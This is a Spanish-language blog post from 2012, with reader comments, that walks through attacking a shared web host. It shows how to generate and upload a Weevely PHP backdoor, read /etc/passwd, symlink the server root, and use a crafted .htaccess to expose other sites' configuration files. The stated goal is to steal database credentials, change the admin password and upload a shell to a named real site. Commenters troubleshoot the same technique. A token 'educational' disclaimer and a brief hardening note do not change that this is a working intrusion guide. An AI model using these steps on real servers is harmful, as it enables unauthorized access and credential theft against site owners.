miércoles, 17 de octubre de 2012

Symlinking manualmente desde Weevely Web BackDoor




INTRODUCCIÓN:

En esta entrada se realizara un breve tutorial en la cual explicare como realizar Symlink manual en un servidor web a través de Weevely, la cual nos permitirá obtener los datos de configuración de algunas webs hospedadas en el mismo servidor, ya sea Joomla - WordPress vBulletin - SMF - MyBB - Drupal - Php Nuke - Oscommerce - IPB, Seditio u otros.

Este método puede ser el plan B cuando no encontremos el respectivo Local Root Exploit para el kernel que lleva el servidor objetivo.

Algunas personas optan realizar este método cuando la web objetivo no tiene ninguna vulnerabilidad que les permita entrar a la misma, por lo que recurren a buscar webs vulnerables hospedada en el mismo servidor.

También se detallara como crear el respectivo BackDoor desde Weveely la cual sera útil para obtener la conexión entre el servidor y nuestro ordenador, como también los respectivos pasos para obtener los archivos de configuración de los sitios webs hospedado en el mismo servidor (victima).



¿QUE ES WEEVELY?

Weevely es una herramienta esencial para la explotación posterior de aplicaciones web, y se puede utilizar como puerta trasera o como una shell web para gestionar las cuentas web.

Weevely se incluye actualmente en BackTrack, BackBox y otras distribuciones de Linux para las respectivas pruebas de penetración que acostumbramos a realizar diariamente.


¿QUE ES SYMLINK?

Symlink es un proceso de creación de accesos directos de archivos/directorios en un entorno Linux, lo mismo que la creación de iconos de acceso directo en Windows.


PROCEDIMIENTO:

Tomare un sitio cualquiera (http://chocolatetorifino.com) la cual esta basada en Joomla, en este caso lo tomare como una web SEGURA, sin alguna vulnerabilidad que me permita entrar a ella, entonces como  no tiene ninguna vulnerabilidad, realizare un REVERSE DNS al servidor para encontrar una web vulnerable que me permita llegar al objetivo.

Entramos a http://reversedns.cl-security.net/ colocamos la web, en este caso http://chocolatetorifino.com/ y obtendremos todas las webs hospedadas en el mismo servidor, como se puede apreciar en los resultados desde el siguiente link: http://www.fpaste.org/meF8/ 

En total el servidor tiene 348 webs hospedadas en la misma IP, por lo que procederemos a analizar 1 x 1 en busca de alguna vulnerabilidad.

En este caso he entrado a una de ellas (http://institutofranciscoesqueda.org) obteniendo una web shell la cual servira para poder realizar la conexion entre el servidor y nuestro ordenador.

Seguidamente abriremos Weevely desde la siguiente ubicación:

  • Aplicaciones - BackTrack - Maintaining Access - Web Backdoors - Weevely

Utilizaremos el siguiente comando para crear el BackDoor que nos permitira obtener la conexion desde la consola:

  • ./weevely.py generate bucker /root/bucker.php

En este caso 'bucker' es la contraseña que el servidor nos pedirá para recibir la conexión y bucker.php es el archivo que subiremos al servidor que tenemos "hacked".

Después de subir el backdoor al servidor, usaremos el siguiente comando para recibir la conexión en nuestra consola:

  • ./weevely.py http://sitio-web.com/backdoor.php password


Inmediatamente recibiremos la conexión la cual nos permitirá manejar el servidor mediante comandos.

Seguidamente abriremos el directorio /etc/passwd/ con la ejecución del comando cat /etc/passwd


El resultado de dicho comando, permitirá leer el path de los sitios webs hospedado en el servidor.

Ahora procederemos a realizar el Symlink para obtener el archivo de configuración de nuestro objetivo, en este caso (http://chocolatetorifino.com/) para ello usaremos los siguientes comandos:

  • mkdir caleb (directorio a crear)
  • cd caleb (entrar al directorio creado)
  • mkdir bucker (directorio donde se ejecuta el comando root)
  • cd bucker (entrar al directorio creado
  • ln -s / root (obtendra todos los datos de los sitios hospedados en el servidor)
  • ls -la /etc/valiases/chocolatetorifino.com (mostrara el usuario del sitio web)

Después de ejecutar el comando ln-s / root es muy esencial subir un .htaccess en la carpeta donde se ejecuto el comando root conteniendo lo siguiente:

--------------------------------------------------------------------------------------------------------------
Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php
--------------------------------------------------------------------------------------------------------------

El .htaccess permitirá leer los archivos .php de los sitios obtenidos, caso contrario nos arroja un Forbidden.

Ahora que hemos hecho todo lo anterior, solo bastaría entrar a la carpeta donde hemos hecho el Symlink, por ejemplo:

  • http://www.sitio-web.com/caleb/bucker/root/home/chocolat/public_html/

Y apreciaremos todos los archivos del sitio web al que queríamos entrar, como se muestra en la siguiente imagen:


Luego abrimos el archivo que mas nos interesa, la cual es configuration.php y voila! tendremos todos los datos del MySql:


Con esos datos nos conectamos a la DB, cambiamos la password administrativa y fácilmente podemos subir nuestra shell, por lo que nuestro objetivo ha sido Hackeado!

CONCLUSIÓN:

El Symlink se puede bloquear con un simple .htaccess.

Para no ser objetivo de estos ataques, se recomienda mantener el servidor actualizado, las funciones en ALL, Safe Mode en ON y restingrir las subidas de archivos en perl y python.

Este tutorial es solo con fines EDUCATIVOS.

Saludos.

15 comentarios:

  1. Eres una bestia men ;)

    ResponderEliminar
  2. Hola bueno es importante mencionar que el symlink mencionado solo tendra exito en rutas como /home/user/public_hml de eso me he percatado seguramente existen otras formas pero las mas conocida solo aplica para la ruta mencionada

    Saludos

    ResponderEliminar
    Respuestas
    1. Cuando ejecutas el comando ln -s / root se obtiene todas las rutas, no tan solo el /home/user/public_html

      Para ingresar a otras rutas diferentes, solo basta con conocer el path y listo.

      Saludos.

      Eliminar
  3. Amigo como es el .htaccess para bloquear el Symlink

    ResponderEliminar
  4. Que tal Caleb, estos dias me dedique a estudiar un poco los post de symlink que tienes, realice tal cual los pasos, pero al entrar al directorio para dar click en los archivos generados no estan, publique el htacces de los links de descargar que tienes, pero no puedo ver los .txt generados, se me ocurrio subir un backdoor generado con bweevely, ingrese al directorio y di un ls, y muestra:


    lrwxrwxrwx 1 agilempr agilempr 39 Oct 27 18:49 techbeat~~Smf.txt -> /home/techbeat/public_html/settings.php
    lrwxrwxrwx 1 agilempr agilempr 48 Oct 27 18:49 techbeat~~Whm1.txt -> /home/techbeat/public_html/whm/configuration.php
    lrwxrwxrwx 1 agilempr agilempr 49 Oct 27 18:49 techbeat~~Whm2.txt -> /home/techbeat/public_html/whmc/configuration.php
    lrwxrwxrwx 1 agilempr agilempr 52 Oct 27 18:49 techbeat~~Whm3.txt -> /home/techbeat/public_html/support/configuration.php
    lrwxrwxrwx 1 agilempr agilempr 51 Oct 27 18:49 techbeat~~Whm4.txt -> /home/techbeat/public_html/client/configuration.php
    lrwxrwxrwx 1 agilempr agilempr 53 Oct 27 18:49 techbeat~~Whm5.txt -> /home/techbeat/public_html/billings/configuration.php
    lrwxrwxrwx 1 agilempr agilempr 52 Oct 27 18:49 techbeat~~Whm6.txt -> /home/techbeat/public_html/billing/configuration.php
    lrwxrwxrwx 1 agilempr agilempr 52 Oct 27 18:49 techbeat~~Whm7.txt -> /home/techbeat/public_html/clients/configuration.php
    lrwxrwxrwx 1 agilempr agilempr 50 Oct 27 18:49 techbeat~~Whm8.txt -> /home/techbeat/public_html/whmcs/configuration.php
    lrwxrwxrwx 1 agilempr agilempr 50 Oct 27 18:49 techbeat~~Whm9.txt -> /home/techbeat/public_html/order/configuration.php
    lrwxrwxrwx 1 agilempr agilempr 40 Oct 27 18:49 techbeat~~Wordpress1.txt -> /home/techbeat/public_html/wp-config.php

    Pero via http entro al directorio y no puedo verlos, alguna pista ? saludos

    ResponderEliminar
    Respuestas
    1. Hola,

      Podes usar el comando 'download' para descargar los archivos php.

      Saludos.

      Eliminar
  5. Desde weevely ?

    download /home/techbeat/public_html/wp-config.php ? no descarga =(

    ResponderEliminar
  6. Alguna pista ? estos dias googlie, pero nada aun =/

    ResponderEliminar
  7. Hola,

    Lo que has realizado es Symlink con la Tool, eso significa que el root.pl solo puede leer las configuraciones de los WordPress y Joomla.

    El metodo que muestro en este tutorial es manualmente, cosa que te generara todos los path de los sitios.

    Te recomienda que observes y leas bien el post, asi entenderas lo que realmente se tiene que hacer.

    Saludos.

    ResponderEliminar
  8. Es correcto, lo realizo con la tool.pl, pero tanto el archivo que es generado con el comando download no cuenta con ningún archivo, ingresando al directorio en el cual se crear los .txt con el contenido para leerlos, los .txt no están, no son visibles, sin embargo al ingresar al mismo directorio mediante weevely y doy un ls, puedo verlos, mediante weevely es posible descargar links ? o leerlos ? como podría hacerlo ? gracias Caleb

    ResponderEliminar
  9. Hola tengo una duda usando symlink seria posible copiar un archivo .php a otra cuenta en el servidor usando la ruta que genera symlink algo como sym/root/home/user/public_html una vez lo hice y me funciono pero en otras cuentas no; asi que no entendí el porque funciono una vez. Tambien use el comando rsync -rL sym/root/home/user/public_html/sitio/ web/ y logre extraer archivos de una cuenta a otras pero no en todas funciona. Tienes alguna idea sobre esto. Saludos

    ResponderEliminar
  10. me sale root acceso denegado alguien me puede ayudar ?

    ResponderEliminar
  11. revisa la permisologia lo mas seguro es que por la permisologia que le hayan puesto a cada carpeta te deje hacer cosas en algunos y en otros no andrewtwo

    y no es htaccess es .htaccess revisa eso y en youtube hay videos de como hacer links simbolicos porque explicarte por aqui es complicado aparte q no viene al caso zer0

    atte: @root_who

    ResponderEliminar